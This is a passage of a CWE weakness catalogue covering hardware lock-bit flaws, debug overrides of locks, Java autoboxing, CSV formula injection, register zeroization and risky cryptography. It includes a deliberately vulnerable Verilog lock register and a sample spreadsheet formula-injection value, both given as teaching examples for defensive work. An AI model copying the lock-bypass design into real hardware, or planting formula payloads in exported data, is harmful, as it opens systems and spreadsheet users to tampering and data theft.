MemberOf	C	1206	Power, Clock, Thermal, and Reset Concerns	1194	2266

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
166	Force the System to Reset Values

## CWE-1233: Security-Sensitive Hardware Controls with Missing Lock Bit Protection

**Weakness ID :** 1233

**Structure :** Simple

**Abstraction :** Base

### Description

The product uses a register lock bit protection mechanism, but it does not ensure that the lock bit prevents modification of system registers or controls that perform changes to important hardware system configuration.

### Extended Description

Integrated circuits and hardware intellectual properties (IPs) might provide device configuration controls that need to be programmed after device power reset by a trusted firmware or software module, commonly set by BIOS/bootloader. After reset, there can be an expectation that the controls cannot be used to perform any further modification. This behavior is commonly implemented using a trusted lock bit, which can be set to disable writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration).

However, if the lock bit does not effectively write-protect all system registers or controls that could modify the protected system configuration, then an adversary may be able to use software to access the registers/controls and modify the protected hardware configuration.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	667	Improper Locking	1375
ChildOf	P	284	Improper Access Control	644

### Weakness Ordinalities



**Primary :**

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory  <i>System Configuration protected by the lock bit can be modified even when the lock is set.</i>	

### Detection Methods

#### Manual Analysis

Set the lock bit. Attempt to modify the information protected by the lock bit. If the information is changed, implement a design fix. Retest. Also, attempt to indirectly clear the lock bit or bypass it.

*Effectiveness = High*

### Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Security lock bit protections must be reviewed for design inconsistency and common weaknesses. Security lock programming flow and lock properties must be tested in pre-silicon and post-silicon testing.

### Demonstrative Examples

#### Example 1:

Consider the example design below for a digital thermal sensor that detects overheating of the silicon and triggers system shutdown. The system critical temperature limit (CRITICAL\_TEMP\_LIMIT) and thermal sensor calibration (TEMP\_SENSOR\_CALIB) data have to be programmed by the firmware.

*Example Language: Other*

*(Bad)*

In this example note that only the CRITICAL\_TEMP\_LIMIT register is protected by the TEMP\_SENSOR\_LOCK bit, while the security design intent is to protect any modification of the critical temperature detection and response.

The response of the system, if the system heats to a critical temperature, is controlled by TEMP\_HW\_SHUTDOWN bit [1], which is not lockable. Also, the TEMP\_SENSOR\_CALIB register is not protected by the lock bit.

By modifying the temperature sensor calibration, the conversion of the sensor data to a degree centigrade can be changed, such that the current temperature will never be detected to exceed critical temperature value programmed by the protected lock.

Similarly, by modifying the TEMP\_HW\_SHUTDOWN.Enable bit, the system response detection of the current temperature exceeding critical temperature can be disabled.

Example Language:

(Good)

Change TEMP\_HW\_SHUTDOWN and TEMP\_SENSOR\_CALIB controls to be locked by TEMP\_SENSOR\_LOCK.

## Observed Examples

Reference	Description
<b>CVE-2018-9085</b>	Certain servers leave a write protection lock bit unset after boot, potentially allowing modification of parts of flash memory. <a href="https://www.cve.org/CVERecord?id=CVE-2018-9085">https://www.cve.org/CVERecord?id=CVE-2018-9085</a>
<b>CVE-2014-8273</b>	Chain: chipset has a race condition (CWE-362) between when an interrupt handler detects an attempt to write-enable the BIOS (in violation of the lock bit), and when the handler resets the write-enable bit back to 0, allowing attackers to issue BIOS writes during the timing window [REF-1237]. <a href="https://www.cve.org/CVERecord?id=CVE-2014-8273">https://www.cve.org/CVERecord?id=CVE-2014-8273</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1199	General Circuit and Logic Design Concerns	1194	2264
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352
MemberOf	C	1372	ICS Supply Chain: OT Counterfeit and Malicious Corruption	1358	2300

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
176	Configuration/Environment Manipulation
680	Exploitation of Improperly Controlled Registers

## References

[REF-1237]CERT Coordination Center. "Intel BIOS locking mechanism contains race condition that enables write protection bypass". 2015 January 5. < <https://www.kb.cert.org/vuls/id/766164/> >.

## CWE-1234: Hardware Internal or Debug Modes Allow Override of Locks

**Weakness ID** : 1234**Structure** : Simple**Abstraction** : Base

### Description

System configuration protection may be bypassed during debug mode.

### Extended Description

Device configuration controls are commonly programmed after a device power reset by a trusted firmware or software module (e.g., BIOS/bootloader) and then locked from any further modification. This is commonly implemented using a trusted lock bit, which when set, disables writes to a protected set of registers or address regions. The lock protection is intended to prevent modification of certain system configuration (e.g., memory/memory protection unit configuration). If debug features supported by hardware or internal modes/system states are supported in

the hardware design, modification of the lock protection may be allowed allowing access and modification of configuration information.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		667	Improper Locking	1375

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism <i>Bypass of lock bit allows access and modification of system configuration even when the lock bit is set.</i>	High

## Potential Mitigations

**Phase: Architecture and Design**

**Phase: Implementation**

**Phase: Testing**

Security Lock bit protections should be reviewed for any bypass/override modes supported. Any supported override modes either should be removed or protected using authenticated debug modes. Security lock programming flow and lock properties should be tested in pre-silicon and post-silicon testing.

*Effectiveness = High*

## Demonstrative Examples

### Example 1:

For example, consider the example Locked\_override\_register example. This register module supports a lock mode that blocks any writes after lock is set to 1. However, it also allows override of the lock protection when scan\_mode or debug\_unlocked modes are active.

*Example Language: Verilog*

*(Bad)*

```
module Locked_register_example
(
input [15:0] Data_in,
input Clk,
input resetn,
input write,
input Lock,
input scan_mode,
input debug_unlocked,
output reg [15:0] Data_out
```

```

);
reg lock_status;
always @(posedge Clk or negedge resetn)
  if (~resetn) // Register is reset resetn
    begin
      lock_status <= 1'b0;
    end
  else if (Lock)
    begin
      lock_status <= 1'b1;
    end
  else if (~Lock)
    begin
      lock_status <= lock_status
    end
always @(posedge Clk or negedge resetn)
  if (~resetn) // Register is reset resetn
    begin
      Data_out <= 16'h0000;
    end
  else if (write & (~lock_status | scan_mode | debug_unlocked) ) // Register protected by Lock bit input, overrides supported
  for scan_mode & debug_unlocked
    begin
      Data_out <= Data_in;
    end
  else if (~write)
    begin
      Data_out <= Data_out;
    end
endmodule

```

If either the scan\_mode or the debug\_unlocked modes can be triggered by software, then the lock protection may be bypassed.

*Example Language:*

*(Good)*

Either remove the debug and scan mode overrides or protect enabling of these modes so that only trusted and authorized users may enable these modes.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	1199	General Circuit and Logic Design Concerns	1194	2264
MemberOf	<b>C</b>	1207	Debug and Test Problems	1194	2267

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
176	Configuration/Environment Manipulation

## CWE-1235: Incorrect Use of Autoboxing and Unboxing for Performance Critical Operations

**Weakness ID :** 1235

**Structure :** Simple

**Abstraction :** Base

### Description

The code uses boxed primitives, which may introduce inefficiencies into performance-critical operations.

### Extended Description


Languages such as Java and C# support automatic conversion through their respective compilers from primitive types into objects of the corresponding wrapper classes, and vice versa. For example, a compiler might convert an int to Integer (called autoboxing) or an Integer to int (called unboxing). This eliminates forcing the programmer to perform these conversions manually, which makes the code cleaner.

However, this feature comes at a cost of performance and can lead to resource exhaustion and impact availability when used with generic collections. Therefore, they should not be used for scientific computing or other performance critical operations. They are only suited to support "impedance mismatch" between reference types and primitives.


### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		400	Uncontrolled Resource Consumption	912

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1006	Bad Coding Practices	2215

### Applicable Platforms

**Language** : Java (*Prevalence = Undetermined*)

**Language** : C# (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Not Technology-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (CPU) DoS: Resource Consumption (Memory) DoS: Resource Consumption (Other) Reduce Performance  <i>Incorrect autoboxing/unboxing would result in reduced performance, which sometimes can lead to resource consumption issues.</i>	Low

### Potential Mitigations

#### Phase: Implementation

Use of boxed primitives should be limited to certain situations such as when calling methods with typed parameters. Examine the use of boxed primitives prior to use. Use SparseArrays or ArrayMap instead of HashMap to avoid performance overhead.

### Demonstrative Examples

**Example 1:**

Java has a boxed primitive for each primitive type. A long can be represented with the boxed primitive Long. Issues arise where boxed primitives are used when not strictly necessary.

*Example Language: Java*

*(Bad)*

```
Long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

In the above loop, we see that the count variable is declared as a boxed primitive. This causes autoboxing on the line that increments. This causes execution to be magnitudes less performant (time and possibly space) than if the "long" primitive was used to declare the count variable, which can impact availability of a resource.

**Example 2:**

This code uses primitive long which fixes the issue.

*Example Language: Java*

*(Good)*

```
long count = 0L;
for (long i = 0; i < Integer.MAX_VALUE; i++) {
    count += i;
}
```

**Taxonomy Mappings**

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
SEI CERT Oracle Coding Standard for Java	EXP04-J		Do not pass arguments to certain Java Collections Framework methods that are a different type than the collection parameter type

**References**

[REF-1051]"Oracle Java Documentation". < <https://docs.oracle.com/javase/1.5.0/docs/guide/language/autoboxing.html> >.

[REF-1052]The Software Engineering Institute. "SEI CERT Oracle Coding Standard for Java : Rule 02. Expressions (EXP)". < <https://wiki.sei.cmu.edu/confluence/display/java/EXP04-J.+Do+not+pass+arguments+to+certain+Java+Collections+Framework+methods+that+are+a+different+type+than+the+collection+parameter+type> >.

**CWE-1236: Improper Neutralization of Formula Elements in a CSV File**

**Weakness ID :** 1236

**Structure :** Simple

**Abstraction :** Base

**Description**

The product saves user-provided information into a Comma-Separated Value (CSV) file, but it does not neutralize or incorrectly neutralizes special elements that could be interpreted as a command when the file is opened by a spreadsheet product.

**Extended Description**

User-provided data is often saved to traditional databases. This data can be exported to a CSV file, which allows users to read the data using spreadsheet software such as Excel, Numbers, or Calc. This software interprets entries beginning with '=' as formulas, which are then executed

by the spreadsheet software. The software's formula language often allows methods to access hyperlinks or the local command line, and frequently allows enough characters to invoke an entire script. Attackers can populate data fields which, when saved to a CSV file, may attempt information exfiltration or other malicious activity when automatically executed by the spreadsheet software.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : Other (*Prevalence = Undetermined*)

## Alternate Terms

**CSV Injection** :

**Formula Injection** :

**Excel Macro Injection** :

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data Execute Unauthorized Code or Commands	Low
<i>Current versions of Excel warn users of untrusted content.</i>		

## Potential Mitigations

### Phase: Implementation

When generating CSV output, ensure that formula-sensitive metacharacters are effectively escaped or removed from all data before storage in the resultant CSV. Risky characters include '=' (equal), '+' (plus), '-' (minus), and '@' (at).

*Effectiveness = Moderate*

*Unfortunately, there is no perfect solution, since different spreadsheet products act differently.*

### Phase: Implementation



If a field starts with a formula character, prepend it with a ' (single apostrophe), which prevents Excel from executing the formula.

*Effectiveness = Moderate*

*It is not clear how effective this mitigation is with other spreadsheet software.*

### Phase: Architecture and Design

Certain implementations of spreadsheet software might disallow formulas from executing if the file is untrusted, or if the file is not authored by the current user.

*Effectiveness = Limited*

*This mitigation has limited effectiveness because it often depends on end users opening spreadsheet software safely.*

### Demonstrative Examples

#### Example 1:

Hyperlinks or other commands can be executed when a cell begins with the formula identifier, '='

*Example Language: Other*

*(Attack)*

```
=HYPERLINK(link_location, [friendly_name])
```

Stripping the leading equals sign, or simply not executing formulas from untrusted sources, impedes malicious activity.

*Example Language:*

*(Good)*

```
HYPERLINK(link_location, [friendly_name])
```

### Observed Examples

Reference	Description
<b>CVE-2019-12134</b>	Low privileged user can trigger CSV injection through a contact form field value <a href="https://www.cve.org/CVERecord?id=CVE-2019-12134">https://www.cve.org/CVERecord?id=CVE-2019-12134</a>
<b>CVE-2019-4521</b>	Cloud management product allows arbitrary command execution via CSV injection <a href="https://www.cve.org/CVERecord?id=CVE-2019-4521">https://www.cve.org/CVERecord?id=CVE-2019-4521</a>
<b>CVE-2019-17661</b>	CSV injection in content management system via formula code in a first or last name <a href="https://www.cve.org/CVERecord?id=CVE-2019-17661">https://www.cve.org/CVERecord?id=CVE-2019-17661</a>

### References

[REF-21]OWASP. "CSV Injection". 2020 February 2. < [https://owasp.org/www-community/attacks/CSV\\_Injection](https://owasp.org/www-community/attacks/CSV_Injection) >.

[REF-22]Jamie Rougvie. "Data Extraction to Command Execution CSV Injection". 2019 September 6. < <https://www.veracode.com/blog/secure-development/data-extraction-command-execution-csv-injection> >.

[REF-23]George Mauer. "The Absurdly Underestimated Dangers of CSV Injection". 2017 October 7. < <http://georgemauer.net/2017/10/07/csv-injection.html> >.

[REF-24]James Kettle. "Comma Separated Vulnerabilities". 2014 August 9. < <https://www.contextis.com/en/blog/comma-separated-vulnerabilities> >.

## CWE-1239: Improper Zeroization of Hardware Register

**Weakness ID** : 1239

**Structure** : Simple

**Abstraction** : Variant

### Description

The hardware product does not properly clear sensitive information from built-in registers when the user of the hardware block changes.

### Extended Description

Hardware logic operates on data stored in registers local to the hardware block. Most hardware IPs, including cryptographic accelerators, rely on registers to buffer I/O, store intermediate values, and interface with software. The result of this is that sensitive information, such as passwords or encryption keys, can exist in locations not transparent to the user of the hardware logic. When a different entity obtains access to the IP due to a change in operating mode or conditions, the new entity can extract information belonging to the previous user if no mechanisms are in place to clear register contents. It is important to clear information stored in the hardware if a physical attack on the product is detected, or if the user of the hardware block changes. The process of clearing register contents in a hardware IP is referred to as zeroization in standards for cryptographic hardware modules such as FIPS-140-2 [REF-267].

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	⊗	226	Sensitive Information in Resource Not Removed Before Reuse	536

*Relevant to the view "Hardware Design" (CWE-1194)*

Nature	Type	ID	Name	Page
ChildOf	⊗	226	Sensitive Information in Resource Not Removed Before Reuse	536

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System** : Not OS-Specific (*Prevalence = Undetermined*)

**Architecture** : Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology** : System on Chip (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Varies by Context  <i>The consequences will depend on the information disclosed due to the vulnerability.</i>	

### Potential Mitigations

#### Phase: Architecture and Design

Every register potentially containing sensitive information must have a policy specifying how and when information is cleared, in addition to clarifying if it is the responsibility of the hardware logic or IP user to initiate the zeroization procedure at the appropriate time.

## Demonstrative Examples

### Example 1:

Suppose a hardware IP for implementing an encryption routine works as expected, but it leaves the intermediate results in some registers that can be accessed. Exactly why this access happens is immaterial - it might be unintentional or intentional, where the designer wanted a "quick fix" for something.

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
37	Retrieve Embedded Sensitive Data
150	Collect Data from Common Resource Locations
204	Lifting Sensitive Data Embedded in Cache
545	Pull Data from System Resources

## References

[REF-267]Information Technology Laboratory, National Institute of Standards and Technology. "SECURITY REQUIREMENTS FOR CRYPTOGRAPHIC MODULES". 2001 May 5. < <http://csrc.nist.gov/publications/fips/fips140-2/fips1402.pdf> >.

[REF-1055]Peter Gutmann. "Data Remanence in Semiconductor Devices". 10th USENIX Security Symposium. 2001 August. < [https://www.usenix.org/legacy/events/sec01/full\\_papers/gutmann/gutmann.pdf](https://www.usenix.org/legacy/events/sec01/full_papers/gutmann/gutmann.pdf) >.

## CWE-1240: Use of a Cryptographic Primitive with a Risky Implementation

**Weakness ID** : 1240

**Structure** : Simple

**Abstraction** : Base

### Description

To fulfill the need for a cryptographic primitive, the product implements a cryptographic algorithm using a non-standard, unproven, or disallowed/non-compliant cryptographic implementation.

### Extended Description

Cryptographic protocols and systems depend on cryptographic primitives (and associated algorithms) as their basic building blocks. Some common examples of primitives are digital signatures, one-way hash functions, ciphers, and public key cryptography; however, the notion of "primitive" can vary depending on point of view. See "Terminology Notes" for further explanation of some concepts.

Cryptographic primitives are defined to accomplish one very specific task in a precisely defined and mathematically reliable fashion. For example, suppose that for a specific cryptographic primitive (such as an encryption routine), the consensus is that the primitive can only be broken after trying out N different inputs (where the larger the value of N, the stronger the cryptography). For an encryption scheme like AES-256, one would expect N to be so large as to be infeasible to execute in a reasonable amount of time.

If a vulnerability is ever found that shows that one can break a cryptographic primitive in significantly less than the expected number of attempts, then that primitive is considered weakened (or sometimes in extreme cases, colloquially it is "broken"). As a result, anything using this cryptographic primitive would now be considered insecure or risky. Thus, even breaking or weakening a seemingly small cryptographic primitive has the potential to render the whole system vulnerable, due to its reliance on the primitive. A historical example can be found in TLS when using DES. One would colloquially call DES the cryptographic primitive for transport encryption in

this version of TLS. In the past, DES was considered strong, because no weaknesses were found in it; importantly, DES has a key length of 56 bits. Trying  $N=2^{56}$  keys was considered impractical for most actors. Unfortunately, attacking a system with 56-bit keys is now practical via brute force, which makes defeating DES encryption practical. It is now practical for an adversary to read any information sent under this version of TLS and use this information to attack the system. As a result, it can be claimed that this use of TLS is weak, and that any system depending on TLS with DES could potentially render the entire system vulnerable to attack.

Cryptographic primitives and associated algorithms are only considered safe after extensive research and review from experienced cryptographers from academia, industry, and government entities looking for any possible flaws. Furthermore, cryptographic primitives and associated algorithms are frequently reevaluated for safety when new mathematical and attack techniques are discovered. As a result and over time, even well-known cryptographic primitives can lose their compliance status with the discovery of novel attacks that might either defeat the algorithm or reduce its robustness significantly.


If ad-hoc cryptographic primitives are implemented, it is almost certain that the implementation will be vulnerable to attacks that are well understood by cryptographers, resulting in the exposure of sensitive information and other consequences.

This weakness is even more difficult to manage for hardware-implemented deployment of cryptographic algorithms. First, because hardware is not patchable as easily as software, any flaw discovered after release and production typically cannot be fixed without a recall of the product. Secondly, the hardware product is often expected to work for years, during which time computation power available to the attacker only increases. Therefore, for hardware implementations of cryptographic primitives, it is absolutely essential that only strong, proven cryptographic primitives are used.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		327	Use of a Broken or Risky Cryptographic Algorithm	758

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		310	Cryptographic Issues	2111

## Weakness Ordinalities

**Primary :**

## Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

**Operating\_System :** Not OS-Specific (*Prevalence = Undetermined*)

**Architecture :** Not Architecture-Specific (*Prevalence = Undetermined*)

**Technology :** System on Chip (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data	High

Scope	Impact	Likelihood
	<i>Incorrect usage of crypto primitives could render the supposedly encrypted data as unencrypted plaintext in the worst case.</i>	

## Detection Methods

### Architecture or Design Review

Review requirements, documentation, and product design to ensure that primitives are consistent with the strongest-available recommendations from trusted parties. If the product appears to be using custom or proprietary implementations that have not had sufficient public review and approval, then this is a significant concern.

*Effectiveness = High*

### Manual Analysis

Analyze the product to ensure that implementations for each primitive do not contain any known vulnerabilities and are not using any known-weak algorithms, including MD4, MD5, SHA1, DES, etc.

*Effectiveness = Moderate*

### Dynamic Analysis with Manual Results Interpretation

For hardware, during the implementation (pre-Silicon / post-Silicon) phase, dynamic tests should be done to ensure that outputs from cryptographic routines are indeed working properly, such as test vectors provided by NIST [REF-1236].

*Effectiveness = Moderate*

### Dynamic Analysis with Manual Results Interpretation

It needs to be determined if the output of a cryptographic primitive is lacking entropy, which is one clear sign that something went wrong with the crypto implementation. There exist many methods of measuring the entropy of a bytestream, from sophisticated ones (like calculating Shannon's entropy of a sequence of characters) to crude ones (by compressing it and comparing the size of the original bytestream vs. the compressed - a truly random byte stream should not be compressible and hence the uncompressed and compressed bytestreams should be nearly identical in size).

*Effectiveness = Moderate*

## Potential Mitigations

### Phase: Requirements

Require compliance with the strongest-available recommendations from trusted parties, and require that compliance must be kept up-to-date, since recommendations evolve over time. For example, US government systems require FIPS 140-3 certification, which supersedes FIPS 140-2 [REF-1192] [REF-1226].

*Effectiveness = High*

### Phase: Architecture and Design

Ensure that the architecture/design uses the strongest-available primitives and algorithms from trusted parties. For example, US government systems require FIPS 140-3 certification, which supersedes FIPS 140-2 [REF-1192] [REF-1226].

*Effectiveness = High*

### Phase: Architecture and Design

Do not develop custom or private cryptographic algorithms. They will likely be exposed to attacks that are well-understood by cryptographers. As with all cryptographic mechanisms, the source

code should be available for analysis. If the algorithm may be compromised when attackers find out how it works, then it is especially weak.

*Effectiveness = Discouraged Common Practice*

**Phase: Architecture and Design**

Try not to use cryptographic algorithms in novel ways or with new modes of operation even when you "know" it is secure. For example, using SHA-2 chaining to create a 1-time pad for encryption might sound like a good idea, but one should not do this.

*Effectiveness = Discouraged Common Practice*

**Phase: Architecture and Design**

Ensure that the design can replace one cryptographic primitive or algorithm with another in the next generation ("cryptographic agility"). Where possible, use wrappers to make the interfaces uniform. This will make it easier to upgrade to stronger algorithms. This is especially important for hardware, which can be more difficult to upgrade quickly than software; design the hardware at a replaceable block level.

*Effectiveness = Defense in Depth*

**Phase: Architecture and Design**

Do not use outdated or non-compliant cryptography algorithms. Some older algorithms, once thought to require a billion years of computing time, can now be broken in days or hours. This includes MD4, MD5, SHA1, DES, and other algorithms that were once regarded as strong [REF-267].

*Effectiveness = Discouraged Common Practice*

**Phase: Architecture and Design**

**Phase: Implementation**

Do not use a linear-feedback shift register (LFSR) or other legacy methods as a substitute for an accepted and standard Random Number Generator.

*Effectiveness = Discouraged Common Practice*

**Phase: Architecture and Design**

**Phase: Implementation**

Do not use a checksum as a substitute for a cryptographically generated hash.

*Effectiveness = Discouraged Common Practice*

**Phase: Architecture and Design**

*Strategy = Libraries or Frameworks*

Use a vetted cryptographic library or framework. Industry-standard implementations will save development time and are more likely to avoid errors that can occur during implementation of cryptographic algorithms. However, the library/framework could be used incorrectly during implementation.

*Effectiveness = High*

**Phase: Architecture and Design**

**Phase: Implementation**

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for the prevention of common attacks.

*Effectiveness = Moderate*

**Phase: Architecture and Design**



**Phase: Implementation**

Do not store keys in areas accessible to untrusted agents. Carefully manage and protect the cryptographic keys (see CWE-320). If the keys can be guessed or stolen, then the strength of the cryptography algorithm is irrelevant.

*Effectiveness = Moderate*

**Demonstrative Examples****Example 1:**

Re-using random values may compromise security.

*Example Language:*

*(Bad)*

Suppose an Encryption algorithm needs a random value for a key. Instead of using a DRNG (Deterministic Random Number Generator), the designer uses a linear-feedback shift register (LFSR) to generate the value.

While an LFSR may provide pseudo-random number generation service, the entropy (measure of randomness) of the resulting output may be less than that of an accepted DRNG (like that used in dev/urandom). Thus, using an LFSR weakens the strength of the cryptographic system, because it may be possible for an attacker to guess the LFSR output and subsequently the encryption key.

*Example Language:*

*(Good)*

If a cryptographic algorithm expects a random number as its input, provide one. Do not provide a pseudo-random value.

**Observed Examples**

Reference	Description
<b>CVE-2020-4778</b>	software uses MD5, which is less safe than the default SHA-256 used by related products <a href="https://www.cve.org/CVERecord?id=CVE-2020-4778">https://www.cve.org/CVERecord?id=CVE-2020-4778</a>
<b>CVE-2005-2946</b>	Default configuration of product uses MD5 instead of stronger algorithms that are available, simplifying forgery of certificates. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2946">https://www.cve.org/CVERecord?id=CVE-2005-2946</a>
<b>CVE-2019-3907</b>	identity card uses MD5 hash of a salt and password <a href="https://www.cve.org/CVERecord?id=CVE-2019-3907">https://www.cve.org/CVERecord?id=CVE-2019-3907</a>
<b>CVE-2021-34687</b>	personal key is transmitted over the network using a substitution cipher <a href="https://www.cve.org/CVERecord?id=CVE-2021-34687">https://www.cve.org/CVERecord?id=CVE-2021-34687</a>
<b>CVE-2020-14254</b>	product does not disable TLS-RSA cipher suites, allowing decryption of traffic if TLS 2.0 and secure ciphers are not enabled. <a href="https://www.cve.org/CVERecord?id=CVE-2020-14254">https://www.cve.org/CVERecord?id=CVE-2020-14254</a>
<b>CVE-2019-1543</b>	SSL/TLS library generates 16-byte nonces but reduces them to 12 byte nonces for the ChaCha20-Poly1305 cipher, converting them in a way that violates the cipher's requirements for unique nonces. <a href="https://www.cve.org/CVERecord?id=CVE-2019-1543">https://www.cve.org/CVERecord?id=CVE-2019-1543</a>
<b>CVE-2017-9267</b>	LDAP interface allows use of weak ciphers <a href="https://www.cve.org/CVERecord?id=CVE-2017-9267">https://www.cve.org/CVERecord?id=CVE-2017-9267</a>
<b>CVE-2017-7971</b>	SCADA product allows "use of outdated cipher suites" <a href="https://www.cve.org/CVERecord?id=CVE-2017-7971">https://www.cve.org/CVERecord?id=CVE-2017-7971</a>
<b>CVE-2020-6616</b>	Chip implementing Bluetooth uses a low-entropy PRNG instead of a hardware RNG, allowing spoofing. <a href="https://www.cve.org/CVERecord?id=CVE-2020-6616">https://www.cve.org/CVERecord?id=CVE-2020-6616</a>
<b>CVE-2019-1715</b>	security product has insufficient entropy in the DRBG, allowing collisions and private key discovery <a href="https://www.cve.org/CVERecord?id=CVE-2019-1715">https://www.cve.org/CVERecord?id=CVE-2019-1715</a>



Reference	Description
<b>CVE-2014-4192</b>	Dual_EC_DRBG implementation in RSA toolkit does not correctly handle certain byte requests, simplifying plaintext recovery <a href="https://www.cve.org/CVERecord?id=CVE-2014-4192">https://www.cve.org/CVERecord?id=CVE-2014-4192</a>
<b>CVE-2007-6755</b>	Recommendation for Dual_EC_DRBG algorithm contains point Q constants that could simplify decryption <a href="https://www.cve.org/CVERecord?id=CVE-2007-6755">https://www.cve.org/CVERecord?id=CVE-2007-6755</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1205	Security Primitives and Cryptography Issues	1194	2266
MemberOf	V	1343	Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List	1343	2352

### Notes

#### Terminology

Terminology for cryptography varies widely, from informal and colloquial to mathematically-defined, with different precision and formalism depending on whether the stakeholder is a developer, cryptologist, etc. Yet there is a need for CWE to be self-consistent while remaining understandable and acceptable to multiple audiences. As of CWE 4.6, CWE terminology around "primitives" and "algorithms" is emerging as shown by the following example, subject to future consultation and agreement within the CWE and cryptography communities. Suppose one wishes to send encrypted data using a CLI tool such as OpenSSL. One might choose to use AES with a 256-bit key and require tamper protection (GCM mode, for instance). For compatibility's sake, one might also choose the ciphertext to be formatted to the PKCS#5 standard. In this case, the "cryptographic system" would be AES-256-GCM with PKCS#5 formatting. The "cryptographic function" would be AES-256 in the GCM mode of operation, and the "algorithm" would be AES. Colloquially, one would say that AES (and sometimes AES-256) is the "cryptographic primitive," because it is the algorithm that realizes the concept of symmetric encryption (without modes of operation or other protocol related modifications). In practice, developers and architects typically refer to base cryptographic algorithms (AES, SHA, etc.) as cryptographic primitives.
